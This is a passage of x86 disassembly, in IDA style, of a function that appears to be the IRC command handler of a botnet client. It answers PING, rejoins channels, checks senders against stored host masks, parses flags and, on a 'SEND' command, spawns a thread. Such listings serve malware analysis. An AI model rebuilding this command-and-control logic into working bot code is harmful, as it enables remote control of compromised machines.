var_2AB8	= dword	ptr -2AB8h
var_2AB4	= dword	ptr -2AB4h
var_2AB0	= dword	ptr -2AB0h
var_2AA8	= byte ptr -2AA8h
var_2990	= byte ptr -2990h
var_2910	= dword	ptr -2910h
var_290C	= dword	ptr -290Ch
var_2908	= dword	ptr -2908h
var_2904	= dword	ptr -2904h
var_2900	= dword	ptr -2900h
var_28FC	= dword	ptr -28FCh
var_28F8	= byte ptr -28F8h
var_2878	= byte ptr -2878h
var_2778	= byte ptr -2778h
var_2678	= dword	ptr -2678h
var_2674	= dword	ptr -2674h
var_2670	= dword	ptr -2670h
var_266C	= dword	ptr -266Ch
var_2668	= dword	ptr -2668h
var_2664	= dword	ptr -2664h
var_2660	= dword	ptr -2660h
var_265C	= dword	ptr -265Ch
var_2658	= dword	ptr -2658h
var_2654	= dword	ptr -2654h
var_2650	= byte ptr -2650h
var_25D0	= byte ptr -25D0h
var_24D0	= byte ptr -24D0h
var_23D0	= dword	ptr -23D0h
var_23CC	= dword	ptr -23CCh
var_23C8	= dword	ptr -23C8h
var_23C4	= dword	ptr -23C4h
var_23C0	= dword	ptr -23C0h
var_23BC	= dword	ptr -23BCh
var_23B8	= dword	ptr -23B8h
var_23B4	= dword	ptr -23B4h
var_23B0	= dword	ptr -23B0h
var_23AC	= dword	ptr -23ACh
var_23A8	= byte ptr -23A8h
var_2328	= byte ptr -2328h
var_22A8	= byte ptr -22A8h
var_2228	= dword	ptr -2228h
var_2224	= dword	ptr -2224h
var_2220	= dword	ptr -2220h
var_221C	= dword	ptr -221Ch
var_2218	= dword	ptr -2218h
var_2214	= byte ptr -2214h
var_2194	= byte ptr -2194h
var_2114	= byte ptr -2114h
var_2094	= dword	ptr -2094h
var_2090	= dword	ptr -2090h
var_208C	= dword	ptr -208Ch
var_2088	= dword	ptr -2088h
var_2084	= dword	ptr -2084h
var_2080	= byte ptr -2080h
var_2000	= byte ptr -2000h
var_1F80	= byte ptr -1F80h
var_1F00	= dword	ptr -1F00h
var_1EFC	= dword	ptr -1EFCh
var_1EF8	= dword	ptr -1EF8h
var_1EF4	= dword	ptr -1EF4h
var_1EF0	= dword	ptr -1EF0h
var_1EEC	= byte ptr -1EECh
var_1DEC	= byte ptr -1DECh
var_1D6C	= dword	ptr -1D6Ch
var_1D64	= dword	ptr -1D64h
var_1D60	= dword	ptr -1D60h
var_1D5C	= dword	ptr -1D5Ch
var_1D58	= dword	ptr -1D58h
var_1D54	= dword	ptr -1D54h
var_1D50	= dword	ptr -1D50h
var_1D48	= byte ptr -1D48h
var_1D34	= byte ptr -1D34h
var_1C30	= byte ptr -1C30h
var_1BAC	= dword	ptr -1BACh
var_1BA8	= dword	ptr -1BA8h
var_1BA4	= dword	ptr -1BA4h
var_1BA0	= dword	ptr -1BA0h
var_1B9C	= dword	ptr -1B9Ch
var_1B94	= byte ptr -1B94h
var_1B80	= byte ptr -1B80h
var_1A7C	= byte ptr -1A7Ch
var_19FC	= dword	ptr -19FCh
var_19F8	= dword	ptr -19F8h
var_19F4	= dword	ptr -19F4h
var_19F0	= dword	ptr -19F0h
var_19EC	= dword	ptr -19ECh
var_19E8	= dword	ptr -19E8h
var_19E4	= byte ptr -19E4h
var_1964	= byte ptr -1964h
var_1924	= byte ptr -1924h
var_1824	= dword	ptr -1824h
var_1820	= dword	ptr -1820h
var_1814	= dword	ptr -1814h
var_1810	= dword	ptr -1810h
var_180C	= dword	ptr -180Ch
var_1808	= byte ptr -1808h
var_17D0	= byte ptr -17D0h
var_17B4	= byte ptr -17B4h
var_177C	= byte ptr -177Ch
var_1778	= byte ptr -1778h
var_16F8	= byte ptr -16F8h
var_16B8	= byte ptr -16B8h
var_1628	= dword	ptr -1628h
var_1624	= dword	ptr -1624h
var_1620	= dword	ptr -1620h
var_161C	= dword	ptr -161Ch
var_1618	= dword	ptr -1618h
var_1614	= byte ptr -1614h
var_1594	= byte ptr -1594h
var_1514	= dword	ptr -1514h
var_1510	= dword	ptr -1510h
var_150C	= dword	ptr -150Ch
var_1508	= dword	ptr -1508h
var_1504	= byte ptr -1504h
var_14F4	= byte ptr -14F4h
var_1474	= byte ptr -1474h
var_13F4	= dword	ptr -13F4h
var_13EC	= dword	ptr -13ECh
var_13E8	= dword	ptr -13E8h
var_13E4	= dword	ptr -13E4h
var_13E0	= dword	ptr -13E0h
var_13DC	= dword	ptr -13DCh
var_13D8	= dword	ptr -13D8h
var_13D4	= byte ptr -13D4h
var_1354	= byte ptr -1354h
var_12D4	= byte ptr -12D4h
var_1254	= dword	ptr -1254h
var_1250	= dword	ptr -1250h
var_124C	= dword	ptr -124Ch
var_1248	= dword	ptr -1248h
var_1244	= dword	ptr -1244h
var_1240	= dword	ptr -1240h
var_123C	= dword	ptr -123Ch
var_1238	= dword	ptr -1238h
var_1230	= byte ptr -1230h
var_11B0	= byte ptr -11B0h
var_1130	= dword	ptr -1130h
var_112C	= dword	ptr -112Ch
var_1128	= dword	ptr -1128h
var_1120	= dword	ptr -1120h
var_111C	= dword	ptr -111Ch
var_1118	= dword	ptr -1118h
var_1110	= dword	ptr -1110h
var_110C	= byte ptr -110Ch
var_108C	= byte ptr -108Ch
var_100C	= dword	ptr -100Ch
var_1008	= dword	ptr -1008h
var_1004	= dword	ptr -1004h
var_FFC		= dword	ptr -0FFCh
var_FF8		= dword	ptr -0FF8h
var_FF4		= dword	ptr -0FF4h
var_FF0		= dword	ptr -0FF0h
var_FEC		= dword	ptr -0FECh
var_FE8		= byte ptr -0FE8h
var_F68		= dword	ptr -0F68h
var_F64		= dword	ptr -0F64h
var_F60		= dword	ptr -0F60h
var_F5C		= dword	ptr -0F5Ch
var_F58		= dword	ptr -0F58h
var_F54		= byte ptr -0F54h
var_ED4		= dword	ptr -0ED4h
var_ED0		= dword	ptr -0ED0h
var_ECC		= dword	ptr -0ECCh
var_EC8		= dword	ptr -0EC8h
var_EC4		= dword	ptr -0EC4h
var_EC0		= byte ptr -0EC0h
var_E40		= dword	ptr -0E40h
var_E3C		= dword	ptr -0E3Ch
var_E38		= dword	ptr -0E38h
var_E34		= dword	ptr -0E34h
var_E30		= byte ptr -0E30h
var_E10		= byte ptr -0E10h
var_E00		= byte ptr -0E00h
var_D80		= dword	ptr -0D80h
var_D7C		= byte ptr -0D7Ch
var_CFC		= byte ptr -0CFCh
var_C7C		= dword	ptr -0C7Ch
var_C78		= dword	ptr -0C78h
var_C74		= dword	ptr -0C74h
var_C70		= dword	ptr -0C70h
var_C6C		= dword	ptr -0C6Ch
var_C68		= dword	ptr -0C68h
var_C64		= dword	ptr -0C64h
var_C60		= dword	ptr -0C60h
var_C5C		= dword	ptr -0C5Ch
var_C58		= dword	ptr -0C58h
var_C54		= byte ptr -0C54h
var_BD4		= dword	ptr -0BD4h
var_BD0		= dword	ptr -0BD0h
var_BCC		= dword	ptr -0BCCh
var_BC8		= dword	ptr -0BC8h
var_BC4		= byte ptr -0BC4h
var_B44		= dword	ptr -0B44h
var_B40		= dword	ptr -0B40h
var_B3C		= dword	ptr -0B3Ch
var_B38		= dword	ptr -0B38h
var_B34		= dword	ptr -0B34h
var_B30		= dword	ptr -0B30h
var_B2C		= byte ptr -0B2Ch
var_AAC		= dword	ptr -0AACh
var_AA8		= dword	ptr -0AA8h
var_AA4		= dword	ptr -0AA4h
var_AA0		= dword	ptr -0AA0h
var_A9C		= dword	ptr -0A9Ch
var_A98		= dword	ptr -0A98h
var_A94		= byte ptr -0A94h
var_A14		= dword	ptr -0A14h
var_A10		= dword	ptr -0A10h
var_A0C		= dword	ptr -0A0Ch
var_A08		= dword	ptr -0A08h
var_A04		= dword	ptr -0A04h
var_A00		= dword	ptr -0A00h
var_9FC		= byte ptr -9FCh
var_97C		= word ptr -97Ch
var_978		= dword	ptr -978h
var_970		= dword	ptr -970h
var_96C		= dword	ptr -96Ch
var_968		= dword	ptr -968h
var_960		= byte ptr -960h
var_8FF		= byte ptr -8FFh
var_8FE		= byte ptr -8FEh
var_8FC		= byte ptr -8FCh
var_8FB		= byte ptr -8FBh
var_8F2		= byte ptr -8F2h
var_8F0		= byte ptr -8F0h
var_8EE		= byte ptr -8EEh
var_8ED		= byte ptr -8EDh
var_860		= byte ptr -860h
var_850		= byte ptr -850h
var_7D0		= byte ptr -7D0h
var_750		= dword	ptr -750h
var_74C		= dword	ptr -74Ch
var_748		= dword	ptr -748h
var_744		= dword	ptr -744h
var_740		= dword	ptr -740h
var_734		= dword	ptr -734h
var_730		= dword	ptr -730h
var_728		= dword	ptr -728h
var_724		= dword	ptr -724h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_714		= dword	ptr -714h
var_710		= byte ptr -710h
var_690		= dword	ptr -690h
var_688		= dword	ptr -688h
var_684		= dword	ptr -684h
var_680		= dword	ptr -680h
var_678		= dword	ptr -678h
var_674		= dword	ptr -674h
var_670		= dword	ptr -670h
var_668		= dword	ptr -668h
var_63C		= dword	ptr -63Ch
var_638		= word ptr -638h
var_624		= dword	ptr -624h
var_620		= byte ptr -620h
var_5A0		= byte ptr -5A0h
var_590		= dword	ptr -590h
var_58C		= dword	ptr -58Ch
var_584		= dword	ptr -584h
var_580		= dword	ptr -580h
var_57C		= dword	ptr -57Ch
var_574		= dword	ptr -574h
var_570		= byte ptr -570h
var_4F0		= dword	ptr -4F0h
var_4EC		= dword	ptr -4ECh
var_4E8		= dword	ptr -4E8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4C8		= byte ptr -4C8h
var_4BC		= byte ptr -4BCh
var_484		= byte ptr -484h
var_474		= byte ptr -474h
var_3F4		= byte ptr -3F4h
var_374		= dword	ptr -374h
var_370		= dword	ptr -370h
var_36C		= dword	ptr -36Ch
var_368		= dword	ptr -368h
var_364		= dword	ptr -364h
var_358		= dword	ptr -358h
var_354		= dword	ptr -354h
var_34C		= dword	ptr -34Ch
var_348		= dword	ptr -348h
var_344		= dword	ptr -344h
var_340		= dword	ptr -340h
var_338		= byte ptr -338h
var_31C		= word ptr -31Ch
var_31A		= word ptr -31Ah
var_318		= dword	ptr -318h
var_30C		= byte ptr -30Ch
var_308		= dword	ptr -308h
var_2FC		= byte ptr -2FCh
var_2F8		= byte ptr -2F8h
var_2F4		= dword	ptr -2F4h
var_2E8		= byte ptr -2E8h
var_2E4		= byte ptr -2E4h
var_2E3		= byte ptr -2E3h
var_2E2		= byte ptr -2E2h
var_2D8		= dword	ptr -2D8h
var_2D4		= dword	ptr -2D4h
var_2D0		= dword	ptr -2D0h
var_2CC		= dword	ptr -2CCh
var_2C8		= dword	ptr -2C8h
var_2C4		= byte ptr -2C4h
var_C4		= byte ptr -0C4h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_93		= byte ptr -93h
var_92		= byte ptr -92h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_50		= byte ptr -50h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		mov	eax, 5D88h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, 200h
		push	edi
		xor	ebx, ebx
		push	esi
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		mov	[ebp+var_AC], 3
		mov	[ebp+var_10], ebx
		mov	[ebp+var_A4], ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_2C8], ebx
		call	sub_41B590
		push	1Bh
		lea	eax, [ebp+var_338]
		push	[ebp+arg_10]
		push	eax
		call	sub_41B5F0
		add	esp, 18h
		cmp	[ebp+arg_0], ebx
		jz	loc_401E94
		push	esi
		lea	eax, [ebp+var_4488]
		push	ebx
		push	eax
		call	sub_41B590
		dec	esi
		lea	eax, [ebp+var_4488]
		push	esi
		push	[ebp+arg_0]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_4488]
		push	offset asc_42CA30 ; " :"
		push	eax
		call	sub_41B900
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4488]
		push	esi
		push	eax
		lea	eax, [ebp+var_4AF0]
		push	eax
		call	sub_41B5F0
		mov	esi, offset asc_42CA2C ; " "
		lea	eax, [ebp+var_4AF0]
		push	esi
		push	eax
		call	sub_41C0F4
		add	esp, 34h
		mov	[ebp+var_90], eax
		lea	edi, [ebp+var_8C]
		mov	[ebp+var_A8], 1Fh


loc_401BA0:				; CODE XREF: sub_401ACD+E7j
		push	esi
		push	ebx
		call	sub_41C0F4
		mov	[edi], eax
		pop	ecx
		add	edi, 4
		dec	[ebp+var_A8]
		pop	ecx
		jnz	short loc_401BA0
		mov	esi, [ebp+var_90]
		cmp	esi, ebx
		jz	loc_401E94
		cmp	[ebp+var_8C], ebx
		jz	loc_401E94
		push	100h
		lea	eax, [ebp+var_960]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	ecx, [ebp+var_14]
		push	1Fh
		pop	edx
		push	1
		pop	edi


loc_401BEE:				; CODE XREF: sub_401ACD+153j
		mov	eax, [ecx]
		cmp	eax, ebx
		jz	short loc_401C1A
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_401C22
		cmp	[eax+2], bl
		jnz	short loc_401C22
		movsx	esi, byte ptr [eax+1]
		mov	[ecx], ebx
		mov	[ebp+esi+var_960], 1
		mov	esi, [ebp+var_90]
		mov	[eax], bl
		mov	[eax+1], bl
		mov	[eax+2], bl


loc_401C1A:				; CODE XREF: sub_401ACD+125j
		dec	edx
		sub	ecx, 4
		cmp	edx, ebx
		jge	short loc_401BEE


loc_401C22:				; CODE XREF: sub_401ACD+12Aj
					; sub_401ACD+12Fj
		cmp	[ebp+var_8ED], bl
		jz	short loc_401C2D
		mov	[ebp+var_8], edi


loc_401C2D:				; CODE XREF: sub_401ACD+15Bj
		cmp	[ebp+var_8F2], bl
		jz	short loc_401C3B
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], edi


loc_401C3B:				; CODE XREF: sub_401ACD+166j
		cmp	byte ptr [esi],	0Ah
		jz	short loc_401C75
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [esi+1]
		push	17h
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		push	offset asc_42CA28 ; "!"
		push	eax
		call	sub_41C0F4
		add	esp, 20h


loc_401C75:				; CODE XREF: sub_401ACD+171j
		push	esi
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401CC6
		push	[ebp+var_8C]
		mov	byte ptr [esi+1], 4Fh
		push	offset aPongS	; "PONG	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		mov	eax, [ebp+arg_20]
		add	esp, 0Ch
		cmp	[eax], ebx
		jnz	loc_401D6A
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		add	esp, 10h
		jmp	loc_401D6A
; ---------------------------------------------------------------------------


loc_401CC6:				; CODE XREF: sub_401ACD+1B7j
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset a001	; "001"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a005	; "005"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4099E0
		push	esi
		push	offset a302	; "302"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D2E
		push	offset a@	; "@"
		push	[ebp+var_84]
		call	sub_41B900
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_401D6A
		inc	eax
		push	9Fh
		push	eax
		push	[ebp+arg_1C]
		call	sub_41B5F0
		jmp	short loc_401D67
; ---------------------------------------------------------------------------


loc_401D2E:				; CODE XREF: sub_401ACD+238j
		push	esi
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401D71
		push	ebx
		push	dword_4290A0
		push	dword_42909C
		push	[ebp+arg_10]
		call	sub_40B08D
		add	esp, 10h
		push	[ebp+arg_10]
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401D67:				; CODE XREF: sub_401ACD+25Fj
		add	esp, 0Ch


loc_401D6A:				; CODE XREF: sub_401ACD+1D8j
					; sub_401ACD+1F4j ...
		mov	eax, edi
		jmp	loc_401E97
; ---------------------------------------------------------------------------


loc_401D71:				; CODE XREF: sub_401ACD+270j
		mov	esi, [ebp+arg_18]
		mov	[ebp+var_A8], 3
		mov	edi, 80h


loc_401D83:				; CODE XREF: sub_401ACD+2DBj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401DA0
		mov	[ebp+var_A4], 1


loc_401DA0:				; CODE XREF: sub_401ACD+2C7j
		add	esi, edi
		dec	[ebp+var_A8]
		jnz	short loc_401D83
		mov	esi, [ebp+var_8C]
		push	esi
		push	offset aKick	; "KICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401E9C
		mov	esi, [ebp+arg_18]
		mov	[ebp+arg_24], 3


loc_401DCF:				; CODE XREF: sub_401ACD+392j
		cmp	[esi], bl
		jz	loc_401E5A
		push	7Fh
		lea	eax, [ebp+var_E00]
		push	esi
		push	eax
		call	sub_41B5F0
		lea	eax, [ebp+var_C4]
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_401E5A
		cmp	[ebp+var_84], ebx
		jz	short loc_401E5A
		push	[ebp+var_84]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E5A
		lea	eax, [ebp+var_C4]
		mov	[esi], bl
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C9BC
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_2C4]
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		push	[ebp+arg_4]
		call	sub_409A2C
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		add	esp, 14h


loc_401E5A:				; CODE XREF: sub_401ACD+304j
					; sub_401ACD+324j ...
		add	esi, edi
		dec	[ebp+arg_24]
		jnz	loc_401DCF
		push	[ebp+var_84]
		push	[ebp+arg_10]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401E94
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_20]
		push	[ebp+arg_8]
		mov	[eax], ebx
		push	offset aJoinSS	; "JOIN	%s %s\r\n"


loc_401E89:				; CODE XREF: sub_401ACD+612j
					; sub_401ACD+8D5j ...
		push	[ebp+arg_4]
		call	sub_409A2C


loc_401E91:				; CODE XREF: sub_401ACD+253Bj
					; sub_401ACD+2558j ...
		add	esp, 10h


loc_401E94:				; CODE XREF: sub_401ACD+5Bj
					; sub_401ACD+F1j ...
		push	1


loc_401E96:				; CODE XREF: sub_401ACD+2A61j
		pop	eax


loc_401E97:				; CODE XREF: sub_401ACD+29Fj
					; sub_401ACD+2A83j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_401E9C:				; CODE XREF: sub_401ACD+2F2j
		push	esi
		push	offset aNick	; "NICK"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_401FF2
		mov	eax, [ebp+var_88]
		mov	esi, [ebp+arg_18]
		inc	eax
		mov	[ebp+arg_0], 3
		mov	[ebp+arg_24], eax


loc_401EC5:				; CODE XREF: sub_401ACD+44Aj
		lea	eax, [ebp+var_E00]
		push	eax
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F12
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_1C], eax
		jz	short loc_401F12
		push	[ebp+arg_24]
		lea	edi, [esi+2]
		mov	byte ptr [esi],	3Ah
		lea	eax, [edi-1]
		push	eax
		call	sub_41BEB0
		push	[ebp+arg_1C]
		push	edi
		call	sub_41BEC0
		add	esp, 10h
		mov	edi, 80h


loc_401F12:				; CODE XREF: sub_401ACD+409j
					; sub_401ACD+420j
		add	esi, edi
		dec	[ebp+arg_0]
		jnz	short loc_401EC5
		lea	eax, [ebp+var_C4]
		test	eax, eax
		jz	loc_401E94
		cmp	[ebp+arg_24], ebx
		jz	loc_401E94
		push	[ebp+arg_10]
		lea	eax, [ebp+var_C4]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_401F5A
		push	0Fh
		push	[ebp+arg_24]
		push	[ebp+arg_10]
		call	sub_41B5F0


loc_401F52:				; CODE XREF: sub_401ACD+1C35j
		add	esp, 0Ch
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F5A:				; CODE XREF: sub_401ACD+476j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_401F5F:				; CODE XREF: sub_401ACD+4B3j
		cmp	[edi], bl
		jz	short loc_401F76
		lea	eax, [ebp+var_E00]
		push	eax
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_401F87


loc_401F76:				; CODE XREF: sub_401ACD+494j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_401F5F
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401F87:				; CODE XREF: sub_401ACD+4A7j
		lea	eax, [ebp+var_E00]
		push	21h
		push	eax
		call	sub_41BFB0
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_0], eax
		jz	loc_401E94
		push	eax
		call	sub_41AFE0
		push	[ebp+arg_24]
		mov	edi, eax
		call	sub_41AFE0
		add	edi, eax
		pop	ecx
		cmp	edi, 7Eh
		pop	ecx
		ja	loc_401E94
		push	[ebp+arg_0]
		shl	esi, 7
		push	[ebp+arg_24]
		add	esi, [ebp+arg_18]
		push	offset aSS	; ":%s%s"
		push	esi
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_45EC]
		push	ebx
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		call	sub_409A72
		add	esp, 24h
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_401FF2:				; CODE XREF: sub_401ACD+3DEj
		push	esi
		push	offset aPart	; "PART"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402014
		push	esi
		push	offset aQuit	; "QUIT"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40203B


loc_402014:				; CODE XREF: sub_401ACD+534j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_402019:				; CODE XREF: sub_401ACD+56Cj
		cmp	[edi], bl
		jz	short loc_40202F
		push	[ebp+var_90]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402083


loc_40202F:				; CODE XREF: sub_401ACD+54Ej
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_402019


loc_40203B:				; CODE XREF: sub_401ACD+545j
		push	[ebp+var_8C]
		push	offset a353	; "353"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4020E4
		push	[ebp+var_80]
		push	[ebp+arg_8]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40206F
		mov	eax, [ebp+arg_20]
		mov	dword ptr [eax], 1


loc_40206F:				; CODE XREF: sub_401ACD+597j
		push	[ebp+var_80]
		push	offset unk_42C968


loc_402077:				; CODE XREF: sub_401ACD+28CCj
					; sub_401ACD+2C4Cj ...
		call	sub_415220


loc_40207C:				; CODE XREF: sub_401ACD+1BE1j
		pop	ecx


loc_40207D:				; CODE XREF: sub_401ACD+7B6Fj
		pop	ecx
		jmp	loc_401E94
; ---------------------------------------------------------------------------


loc_402083:				; CODE XREF: sub_401ACD+560j
		mov	eax, [ebp+arg_18]
		shl	esi, 7
		mov	[esi+eax], bl
		lea	eax, [ebp+var_C4]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C944
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_4151AC
		push	[ebp+var_8C]
		push	offset aPart	; "PART"
		call	sub_41C070
		add	esp, 18h
		test	eax, eax
		jnz	loc_401E94
		lea	eax, [ebp+var_2C4]
		push	eax
		mov	eax, [ebp+var_90]
		inc	eax
		push	eax
		push	offset aNoticeSS ; "NOTICE %s :%s\r\n"
		jmp	loc_401E89
; ---------------------------------------------------------------------------


loc_4020E4:				; CODE XREF: sub_401ACD+582j
		push	[ebp+var_8C]
		mov	esi, offset aPrivmsg ; "PRIVMSG"
		push	esi
		call	sub_41C070
		pop	ecx
		mov	edi, offset aNotice ; "NOTICE"
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_402138
		push	[ebp+var_8C]
		push	offset dword_42C930
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409854
		cmp	dword_429088, ebx
		jz	loc_409854


loc_402138:				; CODE XREF: sub_401ACD+631j
					; sub_401ACD+643j
		push	[ebp+var_8C]
		push	esi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4022BE
		mov	eax, [ebp+var_84]
		inc	[ebp+var_80]
		push	4
		mov	[ebp+var_88], eax
		pop	esi
		mov	[ebp+var_AC], esi


loc_40217C:				; CODE XREF: sub_401ACD+8ADj
					; sub_401ACD+8E9j ...
		shl	esi, 2
		mov	eax, [ebp+esi+var_90]
		lea	edi, [ebp+esi+var_90]
		push	eax
		push	offset dword_42C928
		mov	[ebp+arg_8], eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_402557
		push	[ebp+esi+var_8C]
		push	offset aSend_0	; "SEND"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_40241E
		cmp	[ebp+var_A4], ebx
		jz	loc_4023F7
		push	[ebp+esi+var_88]
		mov	edi, offset aS_1 ; "%s"
		lea	eax, [ebp+var_1B80]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_1B94]
		push	[ebp+esi+var_84]
		push	edi
		push	eax
		call	sub_41B886
		push	[ebp+esi+var_80]
		call	sub_41B779
		mov	[ebp+var_19FC],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1B9C],	eax
		lea	eax, [ebp+var_C4]
		push	7Fh
		push	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		call	sub_41B5F0
		mov	eax, [ebp+var_4]
		add	esp, 1Ch
		mov	[ebp+var_19F4],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_19F0],	eax
		lea	eax, [ebp+var_1A7C]
		push	eax
		lea	eax, [ebp+var_1B80]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C8EC
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	1Ah
		push	eax
		call	sub_40B0F6
		add	esp, 1Ch
		mov	[ebp+var_19F8],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1B9C]
		push	ebx
		push	eax
		push	offset loc_4161BC
		push	ebx
		push	ebx
		nop
		call	near ptr 2690448h
		mov	ecx, [ebp+var_19F8]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43DEC4[ecx], eax
		jz	loc_4023E6


loc_4022A8:				; CODE XREF: sub_401ACD+7EFj
		cmp	[ebp+var_19EC],	ebx
		jnz	loc_4083BC
		push	32h
		call	near ptr 26903FCh
		nop
		jmp	short loc_4022A8
; ---------------------------------------------------------------------------


loc_4022BE:				; CODE XREF: sub_401ACD+67Bj
					; sub_401ACD+691j
		push	[ebp+var_8C]
		push	edi
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4022D7
		mov	[ebp+var_4], 1


loc_4022D7:				; CODE XREF: sub_401ACD+801j
		cmp	[ebp+var_88], ebx
		jz	loc_401E94
		push	offset dword_42C8E8
		push	[ebp+var_88]
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4022FE
		cmp	[ebp+var_4], ebx
		jz	short loc_40230A


